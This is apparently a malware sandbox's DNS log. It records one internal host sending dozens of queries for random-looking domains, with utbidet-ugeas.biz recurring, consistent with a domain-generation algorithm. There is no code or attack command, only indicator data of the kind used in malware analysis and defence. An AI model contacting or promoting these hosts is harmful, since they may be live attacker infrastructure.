Dec 4, 2023 12:33:36.380363941 CET	192.168.2.6	1.1.1.1	0x97a4	Standard query (0)	wamitiwocibqm.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:36.838105917 CET	192.168.2.6	1.1.1.1	0x4559	Standard query (0)	bussouscmjn.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.032268047 CET	192.168.2.6	1.1.1.1	0x7ac5	Standard query (0)	bussouscmjn.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.338488102 CET	192.168.2.6	1.1.1.1	0x4683	Standard query (0)	vjqyzecseiwlb.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.651876926 CET	192.168.2.6	1.1.1.1	0x3fe9	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.041851044 CET	192.168.2.6	1.1.1.1	0x79dd	Standard query (0)	cuawhpaefon.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.149810076 CET	192.168.2.6	1.1.1.1	0xe30e	Standard query (0)	cuawhpaefon.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.370018959 CET	192.168.2.6	1.1.1.1	0x9105	Standard query (0)	weaqcosbwtqx.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.644012928 CET	192.168.2.6	1.1.1.1	0x2940	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:40.822755098 CET	192.168.2.6	1.1.1.1	0xfde0	Standard query (0)	tykssskucyfih.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.032423019 CET	192.168.2.6	1.1.1.1	0xc24b	Standard query (0)	tykssskucyfih.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.339059114 CET	192.168.2.6	1.1.1.1	0xa31	Standard query (0)	gsomh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.447338104 CET	192.168.2.6	1.1.1.1	0xdbe2	Standard query (0)	gsomh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.807188988 CET	192.168.2.6	1.1.1.1	0xb72	Standard query (0)	smtsg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.153012037 CET	192.168.2.6	1.1.1.1	0x849	Standard query (0)	smtsg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.604387999 CET	192.168.2.6	1.1.1.1	0xb2	Standard query (0)	jkpuc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.710419893 CET	192.168.2.6	1.1.1.1	0xb37	Standard query (0)	jkpuc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.932626009 CET	192.168.2.6	1.1.1.1	0x5149	Standard query (0)	ayvoq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.275921106 CET	192.168.2.6	1.1.1.1	0x7bef	Standard query (0)	ayvoq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.729048967 CET	192.168.2.6	1.1.1.1	0x1ee	Standard query (0)	kcmkgcg.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.934108019 CET	192.168.2.6	1.1.1.1	0xcb2c	Standard query (0)	kcmkgcg.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.244910002 CET	192.168.2.6	1.1.1.1	0x2e23	Standard query (0)	zxgiyfyxkmoyh.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.440457106 CET	192.168.2.6	1.1.1.1	0x4ae6	Standard query (0)	zxgiyfyxkmoyh.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.760700941 CET	192.168.2.6	1.1.1.1	0xbd48	Standard query (0)	qqacnyk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.111109972 CET	192.168.2.6	1.1.1.1	0xf0af	Standard query (0)	qqacnyk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.573700905 CET	192.168.2.6	1.1.1.1	0xc62a	Standard query (0)	cnatouspvkh.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.895410061 CET	192.168.2.6	1.1.1.1	0x9e25	Standard query (0)	cnatouspvkh.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:46.104804993 CET	192.168.2.6	1.1.1.1	0x74a7	Standard query (0)	cskyklyesjs.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:46.941577911 CET	192.168.2.6	1.1.1.1	0x612c	Standard query (0)	cskyklyesjs.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.385437965 CET	192.168.2.6	1.1.1.1	0xf26e	Standard query (0)	yroay.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.683697939 CET	192.168.2.6	1.1.1.1	0x1826	Standard query (0)	yroay.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.901319027 CET	192.168.2.6	1.1.1.1	0x7e5e	Standard query (0)	rtywmau.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:49.612886906 CET	192.168.2.6	1.1.1.1	0x8dcc	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:50.744728088 CET	192.168.2.6	1.1.1.1	0x864b	Standard query (0)	pososlwpvklst.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:50.852482080 CET	192.168.2.6	1.1.1.1	0xd504	Standard query (0)	pososlwpvklst.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.150580883 CET	192.168.2.6	1.1.1.1	0x932d	Standard query (0)	oiqwotkmswmgrm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.351829052 CET	192.168.2.6	1.1.1.1	0x6d8f	Standard query (0)	oiqwotkmswmgrm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.650700092 CET	192.168.2.6	1.1.1.1	0x4c06	Standard query (0)	akaxbihvsec.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.030689955 CET	192.168.2.6	1.1.1.1	0x933f	Standard query (0)	akaxbihvsec.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.338779926 CET	192.168.2.6	1.1.1.1	0x5571	Standard query (0)	yfuhzww.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.538692951 CET	192.168.2.6	1.1.1.1	0x2d84	Standard query (0)	yfuhzww.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.853517056 CET	192.168.2.6	1.1.1.1	0xb3e5	Standard query (0)	sosef.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.207355022 CET	192.168.2.6	1.1.1.1	0xbae1	Standard query (0)	sosef.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.697350979 CET	192.168.2.6	1.1.1.1	0xa7f2	Standard query (0)	qncsduvoobluey.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.901930094 CET	192.168.2.6	1.1.1.1	0xdd18	Standard query (0)	qncsduvoobluey.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:54.386205912 CET	192.168.2.6	1.1.1.1	0xd464	Standard query (0)	baisi.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:54.697254896 CET	192.168.2.6	1.1.1.1	0xb9bc	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.025444031 CET	192.168.2.6	1.1.1.1	0xe9ba	Standard query (0)	ekscwgcwngw.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.136969090 CET	192.168.2.6	1.1.1.1	0x2363	Standard query (0)	ekscwgcwngw.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.353682995 CET	192.168.2.6	1.1.1.1	0xe016	Standard query (0)	qdhhf.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.465399981 CET	192.168.2.6	1.1.1.1	0x9bc0	Standard query (0)	qdhhf.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.681649923 CET	192.168.2.6	1.1.1.1	0x730e	Standard query (0)	mrksigequohiy.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.876739979 CET	192.168.2.6	1.1.1.1	0xa655	Standard query (0)	mrksigequohiy.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:57.181729078 CET	192.168.2.6	1.1.1.1	0x2f26	Standard query (0)	uqfqsyvauiujx.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:57.457851887 CET	192.168.2.6	1.1.1.1	0x7b17	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:58.494265079 CET	192.168.2.6	1.1.1.1	0x5775	Standard query (0)	xesez.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:58.600935936 CET	192.168.2.6	1.1.1.1	0xe588	Standard query (0)	xesez.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:58.807029963 CET	192.168.2.6	1.1.1.1	0x1f39	Standard query (0)	asotngqz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.013247967 CET	192.168.2.6	1.1.1.1	0xf8d9	Standard query (0)	asotngqz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.341110945 CET	192.168.2.6	1.1.1.1	0xed01	Standard query (0)	kiizskkik.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.454602003 CET	192.168.2.6	1.1.1.1	0xf9a5	Standard query (0)	kiizskkik.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.667270899 CET	192.168.2.6	1.1.1.1	0x80df	Standard query (0)	kgmaiwktywawg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.041085005 CET	192.168.2.6	1.1.1.1	0xc767	Standard query (0)	kgmaiwktywawg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.494491100 CET	192.168.2.6	1.1.1.1	0x6c5f	Standard query (0)	hftqf.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.815330029 CET	192.168.2.6	1.1.1.1	0xaf2c	Standard query (0)	hftqf.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:01.509898901 CET	192.168.2.6	1.1.1.1	0x4c84	Standard query (0)	icfuk.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:01.715895891 CET	192.168.2.6	1.1.1.1	0x4c8c	Standard query (0)	icfuk.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.009922981 CET	192.168.2.6	1.1.1.1	0x34be	Standard query (0)	ymkeavj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.259788990 CET	192.168.2.6	1.1.1.1	0x4848	Standard query (0)	ymkeavj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.474204063 CET	192.168.2.6	1.1.1.1	0x1bf8	Standard query (0)	posly.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.867737055 CET	192.168.2.6	1.1.1.1	0xfda8	Standard query (0)	posly.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:03.072607994 CET	192.168.2.6	1.1.1.1	0x563a	Standard query (0)	usckmkwwcaiwt.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:03.542598009 CET	192.168.2.6	1.1.1.1	0x1374	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:05.012382984 CET	192.168.2.6	1.1.1.1	0xfc45	Standard query (0)	wwhoyfa.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:05.629196882 CET	192.168.2.6	1.1.1.1	0xfb20	Standard query (0)	wwhoyfa.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:07.260154009 CET	192.168.2.6	1.1.1.1	0x93e9	Standard query (0)	gqaapeb.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:07.457211971 CET	192.168.2.6	1.1.1.1	0x2128	Standard query (0)	gqaapeb.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:07.762547970 CET	192.168.2.6	1.1.1.1	0x5c7	Standard query (0)	ygwkkgxmaqkuy.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.025384903 CET	192.168.2.6	1.1.1.1	0x8a2b	Standard query (0)	ygwkkgxmaqkuy.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.387806892 CET	192.168.2.6	1.1.1.1	0xcec5	Standard query (0)	vslsnywowdoqi.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.491156101 CET	192.168.2.6	1.1.1.1	0x8a7e	Standard query (0)	vslsnywowdoqi.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.791138887 CET	192.168.2.6	1.1.1.1	0x3da6	Standard query (0)	qcmono.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:09.266681910 CET	192.168.2.6	1.1.1.1	0xb0a7	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:10.384953976 CET	192.168.2.6	1.1.1.1	0xc3a6	Standard query (0)	zluqmhg.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:10.872081995 CET	192.168.2.6	1.1.1.1	0xcef5	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:11.806914091 CET	192.168.2.6	1.1.1.1	0xc0b0	Standard query (0)	qlypuqp.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.103871107 CET	192.168.2.6	1.1.1.1	0x5e2	Standard query (0)	qlypuqp.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.400623083 CET	192.168.2.6	1.1.1.1	0xc228	Standard query (0)	qwojeiwehwq.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.521084070 CET	192.168.2.6	1.1.1.1	0x5896	Standard query (0)	qwojeiwehwq.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.728753090 CET	192.168.2.6	1.1.1.1	0xe166	Standard query (0)	xmukjiayiua.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.844706059 CET	192.168.2.6	1.1.1.1	0xedc8	Standard query (0)	xmukjiayiua.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.058454990 CET	192.168.2.6	1.1.1.1	0xfd6f	Standard query (0)	twwcxivqwqpag.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.255664110 CET	192.168.2.6	1.1.1.1	0x7c16	Standard query (0)	twwcxivqwqpag.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.557878017 CET	192.168.2.6	1.1.1.1	0xa57c	Standard query (0)	lxjsdmwoe.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.905785084 CET	192.168.2.6	1.1.1.1	0x20a4	Standard query (0)	lxjsdmwoe.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.369165897 CET	192.168.2.6	1.1.1.1	0x8633	Standard query (0)	kglgmgeh.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.477083921 CET	192.168.2.6	1.1.1.1	0xf856	Standard query (0)	kglgmgeh.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.916565895 CET	192.168.2.6	1.1.1.1	0xf8db	Standard query (0)	ywscm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.116085052 CET	192.168.2.6	1.1.1.1	0xba9c	Standard query (0)	ywscm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.416024923 CET	192.168.2.6	1.1.1.1	0xa357	Standard query (0)	wjsdccsmqu.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.528284073 CET	192.168.2.6	1.1.1.1	0x802b	Standard query (0)	wjsdccsmqu.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.965456963 CET	192.168.2.6	1.1.1.1	0x24e7	Standard query (0)	mmssedkyij.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.168323994 CET	192.168.2.6	1.1.1.1	0x40c4	Standard query (0)	mmssedkyij.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.479939938 CET	192.168.2.6	1.1.1.1	0x4b25	Standard query (0)	xzdzosifkmda.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.598959923 CET	192.168.2.6	1.1.1.1	0x1597	Standard query (0)	xzdzosifkmda.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.807082891 CET	192.168.2.6	1.1.1.1	0x9c1d	Standard query (0)	imncrmx.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.010576963 CET	192.168.2.6	1.1.1.1	0x11a6	Standard query (0)	imncrmx.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.328798056 CET	192.168.2.6	1.1.1.1	0xd86f	Standard query (0)	mqsjyksp.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.590449095 CET	192.168.2.6	1.1.1.1	0x22fc	Standard query (0)	mqsjyksp.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.807281017 CET	192.168.2.6	1.1.1.1	0x36b3	Standard query (0)	qogryka.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:18.629111052 CET	192.168.2.6	1.1.1.1	0xd198	Standard query (0)	qogryka.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.526287079 CET	192.168.2.6	1.1.1.1	0x409a	Standard query (0)	nzuut.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.720077991 CET	192.168.2.6	1.1.1.1	0xcc18	Standard query (0)	nzuut.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.932096004 CET	192.168.2.6	1.1.1.1	0x42e8	Standard query (0)	gymjcco.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:20.283699036 CET	192.168.2.6	1.1.1.1	0x56ce	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:21.119626045 CET	192.168.2.6	1.1.1.1	0x53eb	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:22.072458029 CET	192.168.2.6	1.1.1.1	0x76bb	Standard query (0)	cxyojompvsg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:22.442207098 CET	192.168.2.6	1.1.1.1	0x96e1	Standard query (0)	cxyojompvsg.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:23.010634899 CET	192.168.2.6	1.1.1.1	0x1fb1	Standard query (0)	odumu.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:24.596462965 CET	192.168.2.6	1.1.1.1	0x6a64	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:25.541234016 CET	192.168.2.6	1.1.1.1	0x5472	Standard query (0)	ccstfdkaf.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:25.659454107 CET	192.168.2.6	1.1.1.1	0x443a	Standard query (0)	ccstfdkaf.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:25.869816065 CET	192.168.2.6	1.1.1.1	0xc67e	Standard query (0)	qwgaoioloeo.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:26.323714018 CET	192.168.2.6	1.1.1.1	0x110c	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.401107073 CET	192.168.2.6	1.1.1.1	0x4ab0	Standard query (0)	raiwk.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.518322945 CET	192.168.2.6	1.1.1.1	0x5a3	Standard query (0)	raiwk.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.728899956 CET	192.168.2.6	1.1.1.1	0xdc51	Standard query (0)	koavbgwohct.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.843548059 CET	192.168.2.6	1.1.1.1	0xce68	Standard query (0)	koavbgwohct.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.135004044 CET	192.168.2.6	1.1.1.1	0x371d	Standard query (0)	ypgqlwwu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.255883932 CET	192.168.2.6	1.1.1.1	0x6a4c	Standard query (0)	ypgqlwwu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.463222027 CET	192.168.2.6	1.1.1.1	0x76a6	Standard query (0)	zikyctgryiz.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.802325964 CET	192.168.2.6	1.1.1.1	0x8f4	Standard query (0)	zikyctgryiz.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:29.010576010 CET	192.168.2.6	1.1.1.1	0xe34b	Standard query (0)	ihtwceiof.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:29.295802116 CET	192.168.2.6	1.1.1.1	0x6e7	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:30.435833931 CET	192.168.2.6	1.1.1.1	0x4f67	Standard query (0)	gswpvik.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:30.646667957 CET	192.168.2.6	1.1.1.1	0xd809	Standard query (0)	gswpvik.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:30.947278023 CET	192.168.2.6	1.1.1.1	0xac3	Standard query (0)	wkvoqsqsanq.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.064207077 CET	192.168.2.6	1.1.1.1	0x28d0	Standard query (0)	wkvoqsqsanq.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.277690887 CET	192.168.2.6	1.1.1.1	0x568b	Standard query (0)	ieqiukyskycdo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.392318010 CET	192.168.2.6	1.1.1.1	0xef9e	Standard query (0)	ieqiukyskycdo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.699501991 CET	192.168.2.6	1.1.1.1	0x3e24	Standard query (0)	czascqiszus.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.093863964 CET	192.168.2.6	1.1.1.1	0x699e	Standard query (0)	czascqiszus.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.400585890 CET	192.168.2.6	1.1.1.1	0x93bb	Standard query (0)	ijroiwggm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.712955952 CET	192.168.2.6	1.1.1.1	0xa938	Standard query (0)	ijroiwggm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:33.009810925 CET	192.168.2.6	1.1.1.1	0xdb4f	Standard query (0)	wcsgixge.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:33.125049114 CET	192.168.2.6	1.1.1.1	0xf554	Standard query (0)	wcsgixge.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.056684017 CET	192.168.2.6	1.1.1.1	0x73cf	Standard query (0)	skersccqgiu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.330598116 CET	192.168.2.6	1.1.1.1	0xa04c	Standard query (0)	skersccqgiu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.697355032 CET	192.168.2.6	1.1.1.1	0x15f6	Standard query (0)	eyaeqgsws.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.811345100 CET	192.168.2.6	1.1.1.1	0xe861	Standard query (0)	eyaeqgsws.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:35.009942055 CET	192.168.2.6	1.1.1.1	0x38e5	Standard query (0)	kzjaojkoiyu.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:35.292268991 CET	192.168.2.6	1.1.1.1	0xdd15	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:36.338227987 CET	192.168.2.6	1.1.1.1	0x9ad0	Standard query (0)	easeu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:36.694714069 CET	192.168.2.6	1.1.1.1	0x52a8	Standard query (0)	easeu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.135052919 CET	192.168.2.6	1.1.1.1	0x9124	Standard query (0)	cxqmayuigif.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.333133936 CET	192.168.2.6	1.1.1.1	0xb34c	Standard query (0)	cxqmayuigif.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.635682106 CET	192.168.2.6	1.1.1.1	0x87d	Standard query (0)	gzgjpnqgthsast.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.015450001 CET	192.168.2.6	1.1.1.1	0x7eae	Standard query (0)	gzgjpnqgthsast.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.478519917 CET	192.168.2.6	1.1.1.1	0x5976	Standard query (0)	cmokmayod.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.579097033 CET	192.168.2.6	1.1.1.1	0x6240	Standard query (0)	cmokmayod.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:39.010304928 CET	192.168.2.6	1.1.1.1	0x4887	Standard query (0)	apyiycwwid.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:39.325551987 CET	192.168.2.6	1.1.1.1	0xbd17	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:40.354264975 CET	192.168.2.6	1.1.1.1	0x8f25	Standard query (0)	conprak.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:40.841428041 CET	192.168.2.6	1.1.1.1	0xe230	Standard query (0)	conprak.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:41.150865078 CET	192.168.2.6	1.1.1.1	0x579	Standard query (0)	pkimoce.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:41.454782009 CET	192.168.2.6	1.1.1.1	0x67e9	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.500257969 CET	192.168.2.6	1.1.1.1	0x595d	Standard query (0)	fgoswcabyak.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.610600948 CET	192.168.2.6	1.1.1.1	0x3f70	Standard query (0)	fgoswcabyak.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.823231936 CET	192.168.2.6	1.1.1.1	0xdee2	Standard query (0)	eqmaa.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.950028896 CET	192.168.2.6	1.1.1.1	0x2d24	Standard query (0)	eqmaa.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.166461945 CET	192.168.2.6	1.1.1.1	0x9e77	Standard query (0)	yswouqjaca.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.396787882 CET	192.168.2.6	1.1.1.1	0xeda8	Standard query (0)	yswouqjaca.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.619539976 CET	192.168.2.6	1.1.1.1	0xf278	Standard query (0)	mboyu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.980266094 CET	192.168.2.6	1.1.1.1	0x9c4a	Standard query (0)	mboyu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.448307037 CET	192.168.2.6	1.1.1.1	0x5c93	Standard query (0)	lnzuxczyhui.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.568648100 CET	192.168.2.6	1.1.1.1	0x456a	Standard query (0)	lnzuxczyhui.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.869385004 CET	192.168.2.6	1.1.1.1	0xf95c	Standard query (0)	owasakjoeiomm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.985506058 CET	192.168.2.6	1.1.1.1	0xa7f5	Standard query (0)	owasakjoeiomm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:45.197398901 CET	192.168.2.6	1.1.1.1	0x3022	Standard query (0)	ymkdzou.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:45.503140926 CET	192.168.2.6	1.1.1.1	0x9c9c	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.525543928 CET	192.168.2.6	1.1.1.1	0x7088	Standard query (0)	nxsmsoa.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.627789021 CET	192.168.2.6	1.1.1.1	0xafd2	Standard query (0)	nxsmsoa.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.838567972 CET	192.168.2.6	1.1.1.1	0x9829	Standard query (0)	nogwayfyz.museum	A (IP address)	IN (0x0001)	false
